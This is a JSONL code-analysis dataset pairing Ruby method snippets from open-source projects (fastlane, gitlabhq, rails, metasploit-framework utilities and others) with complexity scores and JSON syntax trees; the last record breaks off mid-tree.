{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/assignment_mixin.rb","start_line":24,"raw_source":"def assign_to_objects(objects, klass = nil)\n    # objects => A single item or array of items\n    #   item  => A CI instance (not classification) or a CI id of klass\n    # klass   => The class of the object that self is to be assigned to - (Takes both forms - Host or host, EmsCluster or ems_cluster)\n    Array.wrap(objects).each do |obj|\n      tag = build_object_tag_path(obj, klass)\n      tag_add(tag, :ns => namespace)\n    end\n    reload\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_to_objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"objects\"]},{\"type\":\"optarg\",\"children\":[\"klass\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"objects\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[null,\"build_object_tag_path\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},{\"type\":\"send\",\"children\":[null,\"tag_add\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reload\"]}]}]}","id":"21e8aed1-9d7a-4267-a3dd-5ddc31f5e77d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/ifttt.rb","start_line":4,"raw_source":"def self.run(options)\n        require \"net/http\"\n        require \"uri\"\n\n        uri = URI.parse(\"https://maker.ifttt.com/trigger/#{options[:event_name]}/with/key/#{options[:api_key]}\")\n        https = Net::HTTP.new(uri.host, uri.port)\n        https.use_ssl = true\n\n        req = Net::HTTP::Post.new(uri.request_uri)\n\n        req.set_form_data({\n          \"value1\" => options[:value1],\n          \"value2\" => options[:value2],\n          \"value3\" => options[:value3]\n        })\n\n        response = https.request(req)\n\n        UI.user_error!(\"Failed to make a request to IFTTT. #{response.message}.\") unless response.code == \"200\"\n        UI.success(\"Successfully made a request to IFTTT.\")\n      end","complexity_score":28.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"net/http\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"uri\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://maker.ifttt.com/trigger/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_name\"]}]}]},{\"type\":\"str\",\"children\":[\"/with/key/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"https\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"https\"]},\"use_ssl=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"request_uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"set_form_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value2\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value3\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"https\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to make a request to IFTTT. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully made a request to IFTTT.\"]}]}]}]}","id":"30707e7e-9c67-4f2c-8e86-1943e47149e2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/device_manager.rb","start_line":14,"raw_source":"def runtime_build_os_versions\n        @runtime_build_os_versions ||= begin\n          output, status = Open3.capture2('xcrun simctl list -j runtimes')\n          raise status unless status.success?\n          json = JSON.parse(output)\n          json['runtimes'].map { |h| [h['buildversion'], h['version']] }.to_h\n        rescue StandardError => e\n          UI.error(e)\n          UI.error('xcrun simctl CLI broken; cun `xcrun simctl list runtimes` and make sure it works')\n          UI.user_error!('xcrun simctl not working')\n        end\n      end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"runtime_build_os_versions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@runtime_build_os_versions\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"capture2\",{\"type\":\"str\",\"children\":[\"xcrun simctl list -j runtimes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"runtimes\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"buildversion\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]}]},\"to_h\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"xcrun simctl CLI broken; cun `xcrun simctl list runtimes` and make sure it works\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"xcrun simctl not working\"]}]}]}]},null]}]}]}]}","id":"30ba2b9a-d8db-4bad-bc90-95bf51d8b619"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/agent_bots/webhook_job.rb","start_line":4,"raw_source":"def perform(url, payload, webhook_type = :agent_bot_webhook)\n    super(url, payload, webhook_type)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"optarg\",\"children\":[\"webhook_type\",{\"type\":\"sym\",\"children\":[\"agent_bot_webhook\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"webhook_type\"]}]}]}","id":"98945e9a-f20b-401e-a1b3-3837febbc3f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/ini.rb","start_line":81,"raw_source":"def from_file(fpath = nil)\n    fpath = path if (!fpath)\n\n    read_groups(fpath)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"fpath\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fpath\",{\"type\":\"send\",\"children\":[null,\"path\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"read_groups\",{\"type\":\"lvar\",\"children\":[\"fpath\"]}]}]}]}","id":"2f5db0b5-6bfa-4c45-9571-16ad98741472"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/cipher.rb","start_line":15,"raw_source":"def encrypt(clean_text, key:, deterministic: false)\n        cipher_for(key, deterministic: deterministic).encrypt(clean_text).tap do |message|\n          message.headers.encoding = clean_text.encoding.name unless clean_text.encoding == DEFAULT_ENCODING\n        end\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"encrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clean_text\"]},{\"type\":\"kwarg\",\"children\":[\"key\"]},{\"type\":\"kwoptarg\",\"children\":[\"deterministic\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cipher_for\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deterministic\"]},{\"type\":\"lvar\",\"children\":[\"deterministic\"]}]}]}]},\"encrypt\",{\"type\":\"lvar\",\"children\":[\"clean_text\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_text\"]},\"encoding\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ENCODING\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"headers\"]},\"encoding=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clean_text\"]},\"encoding\"]},\"name\"]}]}]}]}]}","id":"c1c653cd-1484-4e0e-b8aa-a94e7031303c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/members/invite_members_modal.rb","start_line":11,"raw_source":"def self.included(base)\n            super\n\n            base.view 'app/assets/javascripts/invite_members/components/invite_modal_base.vue' do\n              element 'modal-base-intro-text'\n              element 'invite-modal-submit'\n              element 'access-level-dropdown'\n              element 'invite-modal'\n            end\n\n            base.view 'app/assets/javascripts/invite_members/components/members_token_select.vue' do\n              element 'members-token-select-input'\n            end\n\n            base.view 'app/assets/javascripts/invite_members/components/invite_group_trigger.vue' do\n              element 'invite-group-button'\n            end\n\n            base.view 'app/assets/javascripts/invite_members/components/invite_members_trigger.vue' do\n              element 'invite-members-button'\n            end\n          end","complexity_score":16.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/invite_members/components/invite_modal_base.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"modal-base-intro-text\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"invite-modal-submit\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"access-level-dropdown\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"invite-modal\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/invite_members/components/members_token_select.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"members-token-select-input\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/invite_members/components/invite_group_trigger.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"invite-group-button\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/invite_members/components/invite_members_trigger.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"invite-members-button\"]}]}]}]}]}","id":"b1de59ae-b2b6-4deb-80d9-85e26568b063"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/lib/api/v3/file_links/file_links_download_api.rb","start_line":36,"raw_source":"def auth_strategy\n      storage = @file_link.storage\n      Storages::Adapters::Registry.resolve(\"#{storage}.authentication.user_bound\").call(current_user, storage)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"storage\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_link\"]},\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"str\",\"children\":[\".authentication.user_bound\"]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]}]}","id":"65be3a37-aed4-429f-85e7-acf3a36de03d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package_create.rb","start_line":62,"raw_source":"def expect_fully_loaded\n      expect_angular_frontend_initialized\n      expect(page).to have_css \"#wp-new-inline-edit--field-subject\", wait: 20\n    end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_fully_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect_angular_frontend_initialized\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"#wp-new-inline-edit--field-subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[20]}]}]}]}]}]}]}","id":"c71b4aca-ff22-4049-914f-6f5e1a4d776b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/spammable_actions/captcha_check/html_format_actions_support.rb","start_line":19,"raw_source":"def with_captcha_check_html_format(spammable:, &block)\n    captcha_render_lambda = -> { render :captcha_check }\n    with_captcha_check_common(spammable: spammable, captcha_render_lambda: captcha_render_lambda, &block)\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_captcha_check_html_format\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"spammable\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"captcha_render_lambda\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"captcha_check\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"with_captcha_check_common\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spammable\"]},{\"type\":\"lvar\",\"children\":[\"spammable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"captcha_render_lambda\"]},{\"type\":\"lvar\",\"children\":[\"captcha_render_lambda\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b8b66ea3-776d-40a8-a58c-4c5e44532a64"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/util.rb","start_line":116,"raw_source":"def include?(k)\n        @names.include?(k) || @names.include?(k.downcase)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"include?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@names\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@names\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"downcase\"]}]}]}]}","id":"1ee9a242-5f54-424d-9969-234ab031d163"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb","start_line":174,"raw_source":"def print_group_memberships(group_memberships)\n      output = []\n      if group_memberships.any?\n        group_memberships.map do |group|\n          group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read([group.attributes].pack('N'))\n          output << \"Relative ID: #{group.relative_id}\\nAttributes: #{group.attributes}\".indent(4)\n          output << print_bin_data_model(group_attributes, bit_length: 32).to_s.indent(6)\n        end\n        output\n      end\n    end","complexity_score":26.45,"ast_json":"{\"type\":\"def\",\"children\":[\"print_group_memberships\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_memberships\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_memberships\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_memberships\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Pac\"]},\"GroupAttributes\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"attributes\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Relative ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"relative_id\"]}]},{\"type\":\"str\",\"children\":[\"\\nAttributes: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"attributes\"]}]}]},\"indent\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bin_data_model\",{\"type\":\"lvar\",\"children\":[\"group_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bit_length\"]},{\"type\":\"int\",\"children\":[32]}]}]}]},\"to_s\"]},\"indent\",{\"type\":\"int\",\"children\":[6]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},null]}]}]}","id":"035f3e4c-45ec-4e3a-94d1-5f2aeda6e8c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_registry/event.rb","start_line":158,"raw_source":"def decode_user_info(encoded_user_jwt)\n      registry_key_file = File.read(Gitlab.config.registry.key)\n      registry_key = OpenSSL::PKey::RSA.new(registry_key_file)\n\n      JSONWebToken::RSAToken.decode(encoded_user_jwt, registry_key).first\n    rescue Errno::ENOENT, JWT::VerificationError, JWT::DecodeError, JWT::ExpiredSignature, JWT::ImmatureSignature\n      nil\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_user_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoded_user_jwt\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"registry_key_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"registry\"]},\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"registry_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"RSA\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"registry_key_file\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSONWebToken\"]},\"RSAToken\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"encoded_user_jwt\"]},{\"type\":\"lvar\",\"children\":[\"registry_key\"]}]},\"first\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"VerificationError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"DecodeError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"ExpiredSignature\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"ImmatureSignature\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"2969ba71-71e3-4479-92cb-323263903d68"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/sexp.rb","start_line":394,"raw_source":"def test_inspect_recursive\n    s = Sexp.new(:s)\n    s << s\n    assert_equal \"s(:s, s(...))\", s.inspect\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inspect_recursive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"s(:s, s(...))\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"inspect\"]}]}]}]}","id":"d886203f-7369-407c-be4a-9cb4535ca82c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/feature_flag.rb","start_line":14,"raw_source":"def cache_store\n          @cache_store ||= FeatureFlagStore.new(\n            redis: pool,\n            pool: false,\n            compress: Gitlab::Utils.to_boolean(ENV.fetch('ENABLE_REDIS_CACHE_COMPRESSION', '1')),\n            namespace: Cache::CACHE_NAMESPACE,\n            expires_in: 1.hour\n          )\n        end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache_store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureFlagStore\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"send\",\"children\":[null,\"pool\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"compress\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"ENABLE_REDIS_CACHE_COMPRESSION\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]